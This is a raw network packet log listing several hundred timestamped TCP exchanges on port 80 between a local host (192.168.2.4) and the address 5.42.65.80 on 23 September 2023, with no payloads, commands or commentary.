Sep 23, 2023 17:53:23.799585104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799622059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799632072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799694061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799746037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799768925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799788952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799815893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799870014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799906969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799984932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800035000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800069094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800088882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800143003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800206900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800242901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800327063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800452948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800501108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800620079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800653934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800719976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800776005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800818920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800839901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800901890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800918102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.800939083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.800966978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801000118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801026106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801126957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801163912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801192045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801256895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801402092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801440001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801553011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801636934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801660061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801739931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801825047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801861048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801887989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801928997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.801942110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801958084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.801994085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802035093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802107096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802123070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802143097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802223921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802258968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802475929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802622080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802659035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802700043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802747011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802778959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802829981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802846909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802881956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.802902937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802921057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.802978039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803020954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803047895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803126097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803162098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803328037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803363085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803422928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803585052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803622007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803626060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803694010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803728104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803744078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803800106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803844929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803877115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.803894997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.803996086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804040909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804060936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804094076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804133892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804183960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804217100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804398060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804506063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804541111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804569960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804627895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804708958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804744959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804805040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804877996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804907084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.804914951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804939032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.804955006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805022001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805056095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.805058956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805107117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805141926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.805169106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805393934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805454969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805491924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.805496931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805649042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805680990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.805743933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805778980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.805820942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805897951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805915117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.805932999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.806015015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806046009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.806087971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806261063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806318998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806355000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.806529045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806926966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806943893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806958914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806974888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.806982040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.806982040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.806989908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807007074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807013988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807046890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807060957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807152987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807228088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807265043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807292938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807399988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807435989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807476997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807511091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807576895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807593107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807631016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807749987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807868958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.807904959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.807926893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808006048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808087111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808121920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.808149099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808248043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808288097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.808348894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808383942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.808537006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808654070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808691025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.808692932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808774948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808810949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.808878899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.808964968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809051991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809084892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.809156895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809585094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809621096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.809633017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809681892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809716940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.809743881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809777975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.809804916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809868097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809905052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.809946060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809962988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.809998035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.810024977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810127974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810266018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.810343027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810533047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810579062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.810640097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810735941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810780048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.810893059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.810997963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811073065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811113119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.811141014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811218023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811255932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.811322927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811356068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.811553001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811769009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811810017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.811851978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811958075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.811996937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812038898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812128067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812222958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812258959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812299967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812316895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812356949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812381029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812414885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812520027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812573910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812613010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812654018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812793970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812838078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.812840939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.812967062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813013077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813030005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813087940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813112020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813133955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813169956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813184977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813308001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813348055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813431978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813481092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813496113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813517094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813596964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813632011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813709021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813752890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813767910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.813788891 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.813854933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814059973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814099073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814207077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814344883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814383030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814451933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814487934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814546108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814605951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814645052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814671993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814688921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814723969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814737082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814800024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814852953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.814892054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.814941883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815054893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815093994 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.815114975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815146923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.815237045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815319061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815453053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.815624952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815716982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815754890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.815763950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815819979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815855980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.815884113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.815990925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816127062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816167116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.816549063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816729069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816771030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.816771984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816806078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.816832066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816900015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.816937923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.816966057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817050934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817085981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.817158937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817176104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817215919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.817265987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817621946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817693949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817734957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.817812920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817856073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817893982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.817935944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.817972898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.818015099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818245888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818427086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818464041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.818589926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818660021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818695068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.818857908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818892002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.818903923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.818979979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819005966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819015026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819055080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819106102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819119930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819137096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819173098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819255114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819307089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819340944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819360018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819612026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819650888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819740057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819820881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819869041 CEST	80	49781	5.42.65.80	192.168.2.4
